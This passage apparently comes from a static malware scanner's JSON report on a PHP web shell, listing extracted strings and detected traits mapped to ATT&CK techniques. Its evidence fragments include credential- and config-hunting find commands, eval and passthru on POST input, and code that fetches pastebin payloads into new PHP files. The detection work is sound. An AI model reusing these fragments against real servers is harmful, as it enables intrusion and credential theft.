"max_execution_time" ], [ 498, "VERSION" ], [ 499, "VERSION" ], [ 509, "2.1" ], [ 510, "2.1" ], [ 637, "stripslashes_array" ], [ 638, "stripslashes_array" ], [ 904, "HTTP_HOST" ], [ 905, "HTTP_HOST" ], [ 1146, "Shell: http://" ], [ 1147, "Shell: http://" ], [ 1174, "SERVER_NAME" ], [ 1175, "SERVER_NAME" ], [ 1200, "REQUEST_URI" ], [ 1201, "REQUEST_URI" ], [ 1217, " " ], [ 1218, " " ], [ 1223, "Directory" ], [ 1224, "Directory" ], [ 1261, "wildt00lz@gmail.com" ], [ 1262, "wildt00lz@gmail.com" ], [ 1293, "SERVER_ADDR" ], [ 1294, "SERVER_ADDR" ], [ 1325, "Shell: http://" ], [ 1326, "Shell: http://" ], [ 1353, "SERVER_NAME" ], [ 1354, "SERVER_NAME" ], [ 1379, "REQUEST_URI" ], [ 1380, "REQUEST_URI" ], [ 1396, " " ], [ 1397, " " ], [ 1402, "Directory" ], [ 1403, "Directory" ], [ 1440, "wildt00lz@hotmail.com" ], [ 1441, "wildt00lz@hotmail.com" ], [ 1474, "SERVER_ADDR" ], [ 1475, "SERVER_ADDR" ], [ 1522, "https://pastebin.com/raw/GUcxfLzm" ], [ 1523, "https://pastebin.com/raw/GUcxfLzm" ], [ 1572, "2ww.php" ], [ 1573, "2ww.php" ], [ 1583, "w+" ], [ 1584, "w+" ], [ 1632, "https://pastebin.com/raw/YDMtmcAr" ], [ 1633, "https://pastebin.com/raw/YDMtmcAr" ], [ 1682, "wmw.php" ], [ 1683, "wmw.php" ], [ 1693, "w+" ], [ 1694, "w+" ], [ 1730, "http://" ], [ 1731, "http://" ], [ 1751, "REQUEST_URI" ], [ 1752, "REQUEST_URI" ], [ 1785, "SCRIPT_NAME" ], [ 1786, "SCRIPT_NAME" ], [ 1811, "safe_mode = Off\\r\\n\\t\\tdisable_functions = None\\r\\n\\t\\t" ], [ 1812, "safe_mode = Off" ], [ 1835, "disable_functions = None" ], [ 1888, "php.ini" ], [ 1889, "php.ini" ], [ 1942, "HTTP_HOST" ], [ 1943, "HTTP_HOST" ], [ 2003, "pass" ], [ 2004, "pass" ], [ 2026, "pass" ], [ 2027, "pass" ], [ 2083, "HTTP_HOST" ], [ 2084, "HTTP_HOST" ], [ 2189, "win" ], [ 2190, "win" ], [ 2208, "win" ], [ 2209, "win" ], [ 2234, "nix" ], [ 2235, "nix" ], [ 2265, "safe_mode" ], [ 2266, "safe_mode" ], [ 2309, "disable_functions" ], [ 2310, "disable_functions" ], [ 2371, "c" ], [ 2372, "c" ], [ 2398, "c" ], [ 2399, "c" ], [ 2436, "win" ], [ 2437, "win" ], [ 2473, "\\\\" ], [ 2479, "/" ], [ 2480, "/" ], [ 2519, "\\\\" ], [ 2525, "/" ], [ 2526, "/" ], [ 2569, "/" ], [ 2570, "/" ], [ 2588, "/" ], [ 2589, "/" ], [ 2606, "win" ], [ 2607, "win" ], [ 2636, "List Directory" ], [ 2637, "List Directory" ], [ 2656, "dir" ], [ 2657, "dir" ], [ 2663, "Find index.php in current dir" ], [ 2664, "Find index.php in current dir" ], [ 2698, "dir /s /w /b index.php" ], [ 2699, "dir /s /w /b index.php" ], [ 2724, "Find *config*.php in current dir" ], [ 2725, "Find *config*.php in current dir" ], [ 2762, "dir /s /w /b *config*.php" ], [ 2763, "dir /s /w /b *config*.php" ], [ 2791, "Show active connections" ], [ 2792, "Show active connections" ], [ 2820, "netstat -an" ], [ 2821, "netstat -an" ], [ 2835, "Show running services" ], [ 2836, "Show running services" ], [ 2862, "net start" ], [ 2863, "net start" ], [ 2875, "User accounts" ], [ 2876, "User accounts" ], [ 2894, "net user" ], [ 2895, "net user" ], [ 2906, "Show computers" ], [ 2907, "Show computers" ], [ 2926, "net view" ], [ 2927, "net view" ], [ 2938, "ARP Table" ], [ 2939, "ARP Table" ], [ 2953, "arp -a" ], [ 2954, "arp -a" ], [ 2963, "IP Configuration" ], [ 2964, "IP Configuration" ], [ 2985, "ipconfig /all" ], [ 2986, "ipconfig /all" ], [ 3033, "List dir" ], [ 3034, "List dir" ], [ 3047, "ls -la" ], [ 3048, "ls -la" ], [ 3057, "list file attributes on a Linux second extended file system" ], [ 3058, "list file attributes on a Linux second extended file system" ], [ 3122, "lsattr -va" ], [ 3123, "lsattr -va" ], [ 3136, "show opened ports" ], [ 3137, "show opened ports" ], [ 3159, "netstat -an | grep -i listen" ], [ 3160, "netstat -an | grep -i listen" ], [ 3191, "Find" ], [ 3192, "Find" ], [ 3205, "find all suid files" ], [ 3206, "find all suid files" ], [ 3230, "find / -type f -perm -04000 -ls" ], [ 3231, "find / -type f -perm -04000 -ls" ], [ 3265, "find suid files in current dir" ], [ 3266, "find suid files in current dir" ], [ 3301, "find . -type f -perm -04000 -ls" ], [ 3302, "find . -type f -perm -04000 -ls" ], [ 3336, "find all sgid files" ], [ 3337, "find all sgid files" ], [ 3361, "find / -type f -perm -02000 -ls" ], [ 3362, "find / -type f -perm -02000 -ls" ], [ 3396, "find sgid files in current dir" ], [ 3397, "find sgid files in current dir" ], [ 3432, "find . -type f -perm -02000 -ls" ], [ 3433, "find . -type f -perm -02000 -ls" ], [ 3467, "find config.inc.php files" ], [ 3468, "find config.inc.php files" ], [ 3498, "find / -type f -name config.inc.php" ], [ 3499, "find / -type f -name config.inc.php" ], [ 3537, "find config* files" ], [ 3538, "find config* files" ], [ 3561, "find / -type f -name \\\"config*\\" ], [ 3562, "find / -type f -name " ], [ 3585, "config*" ], [ 3597, "find config* files in current dir" ], [ 3598, "find config* files in current dir" ], [ 3636, "find . -type f -name \\\"config*\\" ], [ 3637, "find . -type f -name " ], [ 3660, "config*" ], [ 3672, "find all writable folders and files" ], [ 3673, "find all writable folders and files" ], [ 3713, "find / -perm -2 -ls" ], [ 3714, "find / -perm -2 -ls" ], [ 3736, "find all writable folders and files in current dir" ], [ 3737, "find all writable folders and files in current dir" ], [ 3792, "find . -perm -2 -ls" ], [ 3793, "find . -perm -2 -ls" ], [ 3815, "find all service.pwd files" ], [ 3816, "find all service.pwd files" ], [ 3847, "find / -type f -name service.pwd" ], [ 3848, "find / -type f -name service.pwd" ], [ 3883, "find service.pwd files in current dir" ], [ 3884, "find service.pwd files in current dir" ], [ 3926, "find . -type f -name service.pwd" ], [ 3927, "find . -type f -name service.pwd" ], [ 3962, "find all .htpasswd files" ], [ 3963, "find all .htpasswd files" ], [ 3992, "find / -type f -name .htpasswd" ], [ 3993, "find / -type f -name .htpasswd" ], [ 4026, "find .htpasswd files in current dir" ], [ 4027, "find .htpasswd files in current dir" ], [ 4067, "find . -type f -name .htpasswd" ], [ 4068, "find . -type f -name .htpasswd" ], [ 4101, "find all .bash_history files" ], [ 4102, "find all .bash_history files" ], [ 4135, "find / -type f -name .bash_history" ], [ 4136, "find / -type f -name .bash_history" ], [ 4173, "find .bash_history files in current dir" ], [ 4174, "find .bash_history files in current dir" ], [ 4218, "find . -type f -name .bash_history" ], [ 4219, "find . -type f -name .bash_history" ], [ 4256, "find all .fetchmailrc files" ], [ 4257, "find all .fetchmailrc files" ], [ 4289, "find / -type f -name .fetchmailrc" ], [ 4290, "find / -type f -name .fetchmailrc" ], [ 4326, "find .fetchmailrc files in current dir" ], [ 4327, "find .fetchmailrc files in current dir" ], [ 4370, "find . -type f -name .fetchmailrc" ], [ 4371, "find . -type f -name .fetchmailrc" ], [ 4407, "Locate" ], [ 4408, "Locate" ], [ 4423, "locate httpd.conf files" ], [ 4424, "locate httpd.conf files" ], [ 4452, "locate httpd.conf" ], [ 4453, "locate httpd.conf" ], [ 4473, "locate vhosts.conf files" ], [ 4474, "locate vhosts.conf files" ], [ 4503, "locate vhosts.conf" ], [ 4504, "locate vhosts.conf" ], [ 4525, "locate proftpd.conf files" ], [ 4526, "locate proftpd.conf files" ], [ 4556, "locate proftpd.conf" ], [ 4557, "locate proftpd.conf" ], [ 4579, "locate psybnc.conf files" ], [ 4580, "locate psybnc.conf files" ], [ 4609, "locate psybnc.conf" ], [ 4610, "locate psybnc.conf" ], [ 4631, "locate my.conf files" ], [ 4632, "locate my.conf files" ], [ 4657, "locate my.conf" ] ], "sz": 75461, "ts": [ { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads disable_functions setting", "e": [ "ini_get('disable_functions" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-disable-functions", "l": 4, "m": "B0032" }, { "c": 0.800000011920929, "d": "Writes a string to an open file", "e": [ "fputs" ], "i": "micro-behaviors/fs/write/file/direct::fputs", "l": 3, "m": "C0052" }, { "c": 0.8500000238418579, "d": "PHP mysql_connect database handle", "e": [ "mysql_connect" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-connect", "l": 3 }, { "a": "T1027.010", "c": 0.9300000071525574, "d": "chr(hexdec(...)) custom hex decoder (obfuscation)", "e": [ "chr(hexdec(" ], "i": "objectives/anti-static/obfuscation/encoding/hex::hexdec-chr-decode", "l": 4, "m": "B0032" }, { "c": 0.800000011920929, "d": "SHOW schema administration queries", "e": [ "SHOW TABLES", "SHOW CREATE TABLE" ], "i": "micro-behaviors/data/db/conn/mysql::mysql-show-admin-sql", "l": 3 }, { "c": 0.699999988079071, "d": "base64 encoding keyword", "e": [ "Base64" ], "i": "micro-behaviors/data/text/encoded::base64-token", "l": 3 }, { "c": 0.8999999761581421, "d": "HTTPS protocol prefix", "e": [ "https://" ], "i": "micro-behaviors/communications/http/protocol::https-prefix", "l": 2 }, { "a": "T1027", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "HOST" ], "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12", "l": 1, "m": "B0032" }, { "c": 0.800000011920929, "d": "URL parameter fetched and executed", "e": [ "fopen($_POST['p1'], 'r')", "curl_init(\"file://\" . $_POST['p2'] . \"\\0\" . SELF_PATH)", "fopen($_POST['p1'], 'w')", "file_get_contents($_POST['p1'])", "fopen($_POST['p1'], \"r\")" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::url-param-fetch", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[addcslashes, addslashes, array_map, array_merge, base64_decode, basename, bruteForce, call_user_func, cf, chdir, chmod, chr, cl" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "c": 0.949999988079071, "d": "Disables error reporting (error_reporting(0))", "e": [ "error_reporting(0)" ], "i": "micro-behaviors/os/stdio::error-reporting-off", "l": 3 }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('exec" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-1", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "HTTP protocol prefix", "e": [ "http://" ], "i": "micro-behaviors/communications/http/protocol::http-prefix", "l": 2 }, { "c": 0.8500000238418579, "d": "Removes PHP script execution time limit", "e": [ "@set_time_limit(0)" ], "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call", "l": 4 }, { "c": 0.8999999761581421, "d": "passthru fallback function name", "e": [ "passthru" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-passthru-name", "l": 1, "m": "B0030" }, { "d": "Hardcoded Gmail address", "e": [ "wildt00lz@gmail.com" ], "i": "micro-behaviors/communications/email/send/mail-func::hardcoded-gmail", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ " password=", "host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-6", "l": 1 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 1623.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.20000000298023224, "d": "output keyword", "e": [ "output" ], "i": "micro-behaviors/data/text/keywords/lexicon::output", "l": 1 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ ".bash_history" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-7", "l": 1, "m": "B0030" }, { "c": 1.0, "d": "PHP scandir function symbol", "e": [ "scandir" ], "i": "micro-behaviors/fs/enumerate/directory::php-scandir", "l": 3 }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads open_basedir setting", "e": [ "ini_get('open_basedir" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-open-basedir", "l": 4, "m": "B0032" }, { "a": "T1505.003", "c": 0.8199999928474426, "d": "Content-Disposition download response", "e": [ "Content-Disposition: attachment; filename" ], "i": "objectives/command-and-control/backdoor/webshell/stager::content-disposition-download", "l": 1 }, { "d": "password keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/lexicon::password", "l": 1 }, { "a": "T1090", "c": 0.8500000238418579, "d": "Server-side request forgery fetch pattern", "e": [ "curl_init(\"file://\" . $_POST['p2'] . \"\\0\" . SELF_PATH)" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::ssrf-pattern", "l": 4, "m": "B0030" }, { "a": "T1027", "c": 0.9399999976158142, "d": "Architecture keyed encoded blob value", "e": [ "\"a730c4f1b2ae5839fe9839305da9a4c1\"" ], "i": "objectives/anti-static/obfuscation/payload/config::arch-keyed-hex-blob-dict--encoded-value", "l": 1, "m": "B0032" }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('passthru" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-2", "l": 1, "m": "B0032" }, { "c": 0.8199999928474426, "d": "Detects overwrite-mode file open", "e": [ "fopen(\"2ww.php\", \"w+\"" ], "i": "objectives/impact/infect/script::php-overwrite-file-mode", "l": 1 }, { "a": "T1505.003", "c": 1.0, "d": "Inequality check in WordPress user list", "e": [ "!=" ], "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait", "l": 1, "m": "B0030" }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads safe_mode setting", "e": [ "ini_get('safe_mode" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-safe-mode", "l": 4, "m": "B0032" }, { "a": "T1584", "c": 1.0, "d": "PHP dynamic curl_exec call from lookup table", "e": [ "curl_exec(" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-dynamic-curl-exec", "l": 2 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "IP Configuration" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11746", "l": 1 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via passthru()", "e": [ "passthru" ], "i": "micro-behaviors/process/create/shell/lang::passthru", "l": 3, "m": "E1059" }, { "c": 0.8500000238418579, "d": "PHP mysql database admin APIs", "e": [ "mysql_list_dbs" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-db-admin-api", "l": 3 }, { "a": "T1110.001", "c": 0.20000000298023224, "d": "admin keyword", "e": [ "admin" ], "i": "micro-behaviors/data/text/keywords/username::admin-keyword", "l": 2, "m": "B0028" }, { "a": "T1505.003", "c": 0.7799999713897705, "d": "Regex component marker", "e": [ "hashcrack" ], "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-20", "l": 1, "m": "B0030" }, { "a": "T1105", "c": 0.8500000238418579, "d": "Moves uploaded PHP file", "e": [ "move_uploaded_file" ], "i": "micro-behaviors/fs/write/file/direct::move-uploaded-file", "l": 3, "m": "C0052" }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via functions in PHP", "e": [ "scandir(" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn", "l": 2 }, { "c": 0.8500000238418579, "d": "ActiveXObject usage (JScript/VBScript)", "e": [ "ActiveXObject(" ], "i": "objectives/command-and-control/dropper/builder::activex-object-dup", "l": 1 }, { "a": "T1082", "c": 0.699999988079071, "d": "Accesses PHP_OS constant (OS detection)", "e": [ "PHP_OS" ], "i": "objectives/discovery/system/fingerprint/info::php-os-constant", "l": 3, "m": "E1082" }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "$_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4", "l": 1, "m": "B0030" }, { "c": 0.75, "d": "Session variable access ($_SESSION)", "e": [ "$_SESSION" ], "i": "micro-behaviors/communications/http/request/params::session", "l": 3 }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "User input used as function (GET/POST/REQUEST)", "e": [ "$_POST['p1']($_POST['p2'])", "htmlspecialchars($_POST['p1']($_POST['p2']))" ], "i": "objectives/command-and-control/backdoor/webshell/obf-dispatch::dynamic-user-input-call-1", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "/etc/passwd" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-6", "l": 1, "m": "B0030" }, { "a": "T1082", "d": "Windows ipconfig command", "e": [ "ipconfig /all" ], "i": "objectives/discovery/system/fingerprint/os::windows-ipconfig", "l": 3, "m": "B0012" }, { "c": 0.8999999761581421, "d": "netstat -an command", "e": [ "netstat -an" ], "i": "micro-behaviors/os/network/status::netstat-an", "l": 3 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "find . -type f" ], "i": "objectives/command-and-control/backdoor/webshell/recon::recon-command-panel--rx-13", "l": 1, "m": "B0030" }, { "c": 0.6000000238418579, "d": "SELECT SQL keyword in query", "e": [ "SELECT datname FROM" ], "i": "micro-behaviors/data/db/conn/sql::sql-select", "l": 3 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Process open via popen()", "e": [ "popen" ], "i": "micro-behaviors/process/create/shell/lang::popen", "l": 3, "m": "E1059" }, { "c": 0.75, "d": "PHP MySQL UTF8 charset selection", "e": [ "mysql_set_charset" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-set-charset", "l": 3 }, { "c": 0.699999988079071, "d": "MD5 hash computation", "e": [ "md5" ], "i": "micro-behaviors/crypto/hash/digest::md5-php", "l": 3, "m": "C0029" }, { "c": 0.8999999761581421, "d": "HTTP/1.0 protocol version", "e": [ "HTTP/1.0 404 Not Found" ], "i": "micro-behaviors/communications/http/protocol::http-1-0-header", "l": 2 }, { "c": 0.8999999761581421, "d": "Shell executes /tmp path directly", "e": [ " /tmp/bp " ], "i": "micro-behaviors/data/text/dropper::executes-tmp-file", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via shell_exec()", "e": [ "shell_exec" ], "i": "micro-behaviors/process/create/shell/lang::shell-exec", "l": 3, "m": "E1059" }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "netstat -an" ], "i": "objectives/command-and-control/backdoor/webshell/recon::recon-command-panel--rx-11", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "store" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11769", "l": 1 }, { "c": 0.75, "d": "Generic $_SERVER superglobal access", "e": [ "$_SERVER" ], "i": "micro-behaviors/communications/http/request/params::server-dup", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "d": ".cmd extension reference", "e": [ ".cmd" ], "i": "micro-behaviors/fs/path/extension::cmd-dup", "l": 2 }, { "c": 0.75, "d": "HTTP protocol version strings", "e": [ "HTTP/1.0" ], "i": "micro-behaviors/communications/http/request/client::http-versions", "l": 1 }, { "d": "Content-Type header string", "e": [ "Content-Type:" ], "i": "micro-behaviors/communications/http/request/client::content-type-header", "l": 1 }, { "a": "T1486", "c": 0.4000000059604645, "d": "rename( function", "e": [ "rename(" ], "i": "objectives/impact/ransom/tactics::rename-fn", "l": 1 }, { "d": "CREATE TABLE SQL keyword", "e": [ "CREATE TABLE" ], "i": "micro-behaviors/data/db/conn/sql::sql-create-table", "l": 3 }, { "c": 0.699999988079071, "d": "Unix /tmp/ path reference", "e": [ "/tmp/" ], "i": "micro-behaviors/fs/path/temp::unix-temp", "l": 2 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "HTTP POST method", "e": [ "\"POST\"" ], "i": "micro-behaviors/communications/http/post::post", "l": 1, "m": "C0002" }, { "c": 0.800000011920929, "d": "Detects PHP copy file recreation call", "e": [ "copy" ], "i": "objectives/impact/infect/script::php-copy-call", "l": 1 }, { "c": 0.699999988079071, "d": "Pastebin.com reference", "e": [ "pastebin.com" ], "i": "objectives/command-and-control/infrastructure/paste::pastebin", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "uploadFile", "Can't upload file!" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-11", "l": 1 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "method=" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-3", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "User accounts", "Account Settings", "User Accounts", "net accounts" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11753", "l": 1 }, { "c": 0.800000011920929, "d": "Sequential source identifier names", "e": [ "identifiers.sequential_names = 20.00" ], "i": "metadata/file/text/profile::sequential-identifiers", "l": 2 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-16", "l": 1, "m": "B0030" }, { "c": 1.0, "d": "PHP rmdir function symbol", "e": [ "rmdir" ], "i": "micro-behaviors/fs/delete/directory::php-rmdir", "l": 3 }, { "c": 0.8399999737739563, "d": "password/token/api_key field keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/credential::credential-field", "l": 1 }, { "c": 1.0, "d": "PHP mail() function call", "e": [ "mail" ], "i": "micro-behaviors/process/create/exec::php-mail", "l": 3 }, { "a": "T1027", "c": 0.75, "d": "Many no-param functions", "e": [ "functions.no_params_count = 47.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions", "l": 2, "m": "B0032" }, { "a": "T1505.003", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval(base64_decode(" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-decoder-chain--rx-1", "l": 1, "m": "B0030" }, { "a": "T1071.001", "d": "HTTP/1.x version string", "e": [ "HTTP/1." ], "i": "micro-behaviors/communications/http/request/client::http-version", "l": 2, "m": "C0002" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ " password=", "host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11750", "l": 1 }, { "c": 0.8500000238418579, "d": "MIME attachment disposition", "e": [ "Content-Disposition: attachment" ], "i": "micro-behaviors/communications/email/mime::mime-content-disposition", "l": 1 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "c": 0.8500000238418579, "d": "PHP mysql query execution APIs", "e": [ "mysql_query" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-query", "l": 3 }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval() call with direct user input", "e": [ "eval", "$_POST['p1']" ], "i": "micro-behaviors/process/interpreter/eval::eval-user-input", "l": 4, "m": "E1059" }, { "c": 0.800000011920929, "d": "Detects PHP rename file recreation call", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-rename-call", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "File upload access ($_FILES)", "e": [ "$_FILES" ], "i": "micro-behaviors/communications/http/request/params::files", "l": 3 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ ".mysql_history" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-8", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "HTTP request via file_get_contents", "e": [ "\"https://pastebin.com/raw/YDMtmcAr\"", "\"https://pastebin.com/raw/GUcxfLzm\"", "file_get_contents" ], "i": "micro-behaviors/communications/http/client/file-read::file-get-contents-url", "l": 3 }, { "d": "overflow keyword", "e": [ "overflow" ], "i": "micro-behaviors/data/text/keywords/lexicon::overflow", "l": 1 }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@error_reporting(0)", "@ini_set('log_errors', 0)", "@define('VERSION', '2.1')", "@getcwd()", "@diskfreespace($GLOBALS['cwd'])", "@set_time_limit(0)", "@disk_total_space($GLOBALS['cwd'])", "@ini_set('error_log', NULL)", "@chdir($_POST['c'])", "@ini_set('max_execution_time', 0)", "@session_start()", "@set_magic_quotes_runtime(0)", "@ini_get('safe_mode')", "@ini_get('disable_functions')", "@define('SELF_PATH', __FILE__)" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "c": 0.8399999737739563, "d": "CSV attachment filename response", "e": [ "Content-Disposition: attachment; filename" ], "i": "micro-behaviors/data/format/csv/http-telemetry::csv-attachment-filename", "l": 1 }, { "d": "INSERT INTO SQL keyword", "e": [ "INSERT INTO" ], "i": "micro-behaviors/data/db/conn/sql::sql-insert", "l": 3 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP POST parameter access ($_POST)", "e": [ "$_POST" ], "i": "micro-behaviors/communications/http/request/params::post-dup", "l": 3 }, { "c": 1.0, "d": "PHP unlink function symbol", "e": [ "unlink" ], "i": "micro-behaviors/fs/delete/file::php-unlink", "l": 3 }, { "a": "T1565.001", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "download" ], "i": "objectives/evasion/hosts-file/block-security::escan-security-domain--rx-1", "l": 1, "m": "F0004" }, { "c": 0.800000011920929, "d": "Resolve GID to group (posix_getgrgid)", "e": [ "posix_getgrgid", "posix_getgrgid" ], "i": "micro-behaviors/os/group/lookup::posix-getgrgid", "l": 3 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 2577.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "c": 0.8999999761581421, "d": "shell_exec fallback function name", "e": [ "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-shell-exec-name", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 1163.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "a": "T1110", "c": 0.8500000238418579, "d": "Brute force attack reference", "e": [ "Bruteforce", "bruteforce" ], "i": "objectives/discovery/network/scan/port::brute-force-ref", "l": 4, "m": "E1046" }, { "c": 0.800000011920929, "d": "PHP mysql_select_db database selection", "e": [ "mysql_select_db" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-select-db", "l": 3 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get('disable_functions" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-2", "l": 1, "m": "B0030" }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get('safe_mode" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-1", "l": 1, "m": "B0030" }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_POST parameter access", "e": [ "$_POST[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-post", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports base64_decode", "e": [ "[addcslashes, addslashes, array_map, array_merge, base64_decode, basename, bruteForce, call_user_func, cf, chdir, chmod, chr, cl" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode", "l": 1 }, { "c": 0.75, "d": "Hardcoded localhost network host", "e": [ "localhost" ], "i": "micro-behaviors/communications/ip/literal::localhost-source", "l": 2 }, { "a": "T1059", "c": 0.800000011920929, "d": "Self-reference via __FILE__", "e": [ "__FILE__" ], "i": "micro-behaviors/fs/read/self::self-file-reference", "l": 3 }, { "c": 0.6000000238418579, "d": "Generates HTML tags", "e": [ "\u003chtml" ], "i": "micro-behaviors/data/format/html::html-generator-tags", "l": 3 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "application/x-www-form-urlencoded content type", "e": [ "application/x-www-form-urlencoded" ], "i": "micro-behaviors/communications/http/post::url-encoded-content-type", "l": 1, "m": "C0002" }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "fopen(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 